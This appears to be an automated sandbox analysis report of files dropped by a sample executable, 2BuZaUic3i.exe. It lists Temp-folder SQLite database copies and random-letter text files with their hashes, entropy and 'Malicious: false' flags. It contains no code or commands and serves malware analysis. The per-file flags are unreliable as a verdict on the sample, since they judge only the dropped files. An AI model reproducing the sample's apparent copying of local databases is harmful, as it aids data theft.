Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp743B.tmp

Download File

Process:	C:\Users\user\Desktop\2BuZaUic3i.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp744B.tmp

Download File

Process:	C:\Users\user\Desktop\2BuZaUic3i.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp744C.tmp

Download File

Process:	C:\Users\user\Desktop\2BuZaUic3i.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp745D.tmp

Download File

Process:	C:\Users\user\Desktop\2BuZaUic3i.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp745E.tmp

Download File

Process:	C:\Users\user\Desktop\2BuZaUic3i.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp746F.tmp

Download File

Process:	C:\Users\user\Desktop\2BuZaUic3i.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp7470.tmp

Download File

Process:	C:\Users\user\Desktop\2BuZaUic3i.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp7480.tmp

Download File

Process:	C:\Users\user\Desktop\2BuZaUic3i.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp7491.tmp

Download File

Process:	C:\Users\user\Desktop\2BuZaUic3i.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp7492.tmp

Download File

Process:	C:\Users\user\Desktop\2BuZaUic3i.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpACAA.tmp

Download File

Process:	C:\Users\user\Desktop\2BuZaUic3i.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpACBB.tmp

Download File

Process:	C:\Users\user\Desktop\2BuZaUic3i.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpACBC.tmp

Download File

Process:	C:\Users\user\Desktop\2BuZaUic3i.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpACCD.tmp

Download File

Process:	C:\Users\user\Desktop\2BuZaUic3i.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpACDD.tmp

Download File

Process:	C:\Users\user\Desktop\2BuZaUic3i.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpACDE.tmp

Download File

Process:	C:\Users\user\Desktop\2BuZaUic3i.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpACEF.tmp

Download File

Process:	C:\Users\user\Desktop\2BuZaUic3i.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpACFF.tmp

Download File

Process:	C:\Users\user\Desktop\2BuZaUic3i.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpAD10.tmp

Download File

Process:	C:\Users\user\Desktop\2BuZaUic3i.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpC0B7.tmp

Download File

Process:	C:\Users\user\Desktop\2BuZaUic3i.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.699434772658264
Encrypted:	false
SSDEEP:	24:Khfv+VFngw6i0t5Ut+l3kHwMDkhBlBAMFPxYaija:pvl6Pt5uQ3kQ0khBl1VxYpu
MD5:	02D3A9BE2018CD12945C5969F383EF4A
SHA1:	085F3165672114B2B8E9F73C629ADABBF99F178D
SHA-256:	6088E17DB4C586F5011BC5E16E8BF2E79C496EB6DAE177FF64D9713D39D500CA
SHA-512:	A126D98EE751D0FB768E4DB7D92CBC6AE7852FEE337B85ED045D871DB321C6C98FD58A244D058CA3F41348216C68CB4A37FA854980BB16D358AA62A932DD867E
Malicious:	false
Preview:	ONBQCLYSPUBDAQCIGYNWXHPENQNLJZGXCHXSNXZNCZBUHYDXPEMCJPAWYQSVHMGKHJUFFFYDAXDAHOLOAZEPTWZTWDGPFLXMMCXLCIIJOXMVRNMUMTICVHQSWNAGIYCQBOZZHONWWBXKDUJYBRPSLNFGTUIFTNGJEATOXKHEFMERAQZVBMQGKZUKXDBMGRJDOOGATZZKQMEZJRWZVAZRPQTVWPETCIMLPMYNWZLVLXRPUUKLNIMTYDNYIJTZEFJDNMWTOFFKRRINCRDCFGJAJNMYQHGXGVHVYPEUFBNUIGUVGBYQKIAJLIVACVIHEGZIYKSROURNGZSCTUKBKFFCGPXAONPDEBIZJRKCFYHATDXLXYKGLWXBCHJERCRNMKESIMBDNPMPBWXSVSEAAUEKEGUIJBZLAESAFZHMBLPPKMNTZAZIIYSHMWJBFTZZSKYNFJYSBRLGVHOWZUQHXUSSJESIEKHZLTLILMSMJZHXFWGJQNWQCDLXEWBZPGBTVDVCPPUFLFGNZRUKJOANJVXVTXLOQLFUIVEWTCBKOBYZMAOTIMQMJYRYLSOLSSACCLCFTVXCKKJDNWQAETNXHIOQCDTXLLVEQLNLGDIOULNFNNDXTVYYSPDWWZHDSYHBRXMUAAHJIGSGLSFKCGADPUAASYZFEZWHYDLQDUCHJXMNMTNCDCMNIJQCSGEQOGVGYBYPMTZBBFOACZMMKVFNELOMGSTCQUDRFKLFGOHOTZKZCWJWDRECGYETFYOWLYECGICMGUKZRVNHUQTLQLHUTPRZXBVYMPAFBLSWKSSKBGWCWBFEEZIAZUZGEYMYBSXYUCHEALFJRSGWQJMABNQHSZANDDTYMVJKXFFFDEENZAGRGVLHFELVOSGTXVOOPFGCQDSFWOYKKOYUHFWMXWPLHFIIPORMEJNOFYMJRBAZLYTIOKEFIWPDZUKMIWKLZXBOESUCXZXQSCMQKDKFBCHJMPMZHELLNSYYEJNBRRXVBMPD

C:\Users\user\AppData\Local\Temp\tmpC0B8.tmp

Download File

Process:	C:\Users\user\Desktop\2BuZaUic3i.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.695685570184741
Encrypted:	false
SSDEEP:	24:SYuCgqv/1uycbC6SHsJPWXpOxTeVtblICcFX4xlyzK7y45wR39IRh:S1CPvsC6YE+XgleVtbQuKGf5M39IRh
MD5:	A28F7445BB3D064C83EB9DBC98091F76
SHA1:	D4E174D2D26333FCB66D3FD84E3D0F67AF41D182
SHA-256:	10A802E683A2C669BB581DE0A192C8291DD2D53D89A2883A59CC29EB14453B93
SHA-512:	42526FEC4220E50DB60BD7D83A07DEB9D5BE4F63AD093B518E9ECC86B779210B0170F6F64C9F16064D50CB12F03643BAC9995D4F3C0AFD5F8D38428D57ADE487
Malicious:	false
Preview:	UMMBDNEQBNVIMBNGHYZCBKXWMQJKYISTANSRNFXXBKALIIEMEWAFQEPTEMZCIXXNMQBGOXWSDYSAWKIYPJITNREMVRXPPJZFUTMGRRRGTCHVLEWVUJGZEUQVONQVACEFWZUCIAFXPFGXIUOOBZEEMGMWJQIEKKICYJJWAFUKYZAJEGUQKGDPRPXCOWIPBRUGHWDFZLGSKZVCHVVPGLEFNGIVLBVNAOVXAPGATADJBIQTBNJGWXRSEYKCSVZOSTCBHYFHUDEWNGEIFCVREPZDZDZRITFEVFCQQWJYZXPUKJWHTWGWASTKDCAVEWZOIGFZHRWCJBVRLDWGVKPABCQUOHQIMLUFUGYGMPGPEMSRPPSGWIGRVPBGZIWLNEVYFFJBCMBSXVABNRNXULCTUAANAXDHKZOGVCNQZHMRBENWTTLQVVMDLNBEWHLPZHMPDGRLJWAQJDJRCWTFWIOLAURRCSMFJOCFDKUGPLTPABARXKPCRXOIHHVRWXAKGHOTYLCEQQYYDKVZQSYLCAEGGBQMMJGSNJWBTJXSVALINNRLURMPNGFXHJRVJIKQJSDLNIOXGIGDFDCOTGGXMDLTDYSIKCMPVINDDXXQCEQCRUBLFEWMYMSEGUHIKIGUYOMOXSKOTVNUNGWUFYKYRNZXOOTSRYXLZHRZXNEDJUNPYGNIIZSPVQBOLBRRRWGDMQWUTRSZWBYMXNMLKLFNZWJVDDPMJOXTVBMYRXNQFGBLURKFIUAHJBFFXNWQDYRLZADYGMETNXEOXLOJKYQPEYHUVTFGXQTGPQBWZQTVFXZFUVQERQZJCYYPFBYONAVFDOLTNRGWQYGSYWCWUWRETJZGVJMEFQTYPOLONVZFREVORMBQJOCLOALCJHHCHQSHKLUNBIRHRBSQSMERLKKFTGHUQKRPFIIELZZVXZVNHCIQYYXNMJNSOZOIRGGJKUWXNCWSNCFMGQIQVNKVIGRCLSDWQPEDLSLTGBRXRTMGFWYQSCLN

C:\Users\user\AppData\Local\Temp\tmpC0B9.tmp

Download File

Process:	C:\Users\user\Desktop\2BuZaUic3i.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.701757898321461
Encrypted:	false
SSDEEP:	24:JTbqccbbEKOWHOHPG9HXJMTwDwW63KkUdx/d:JTbmzOxeRaTaq3KBL/d
MD5:	520219000D5681B63804A2D138617B27
SHA1:	2C7827C354FD7A58FB662266B7E3008AFB42C567
SHA-256:	C072675E83E91FC0F8D89A2AEC6E3BC1DB53ADF7601864DDC27B1866A8AEEF4D
SHA-512:	C558140907F6C78EB74EE0F053B0505A8BB72692B378F25B518FA417D97CCB2D0A8341691BECAA96ADCE757007D6DC2938995D983AAC65024123BB63715EBD7C
Malicious:	false
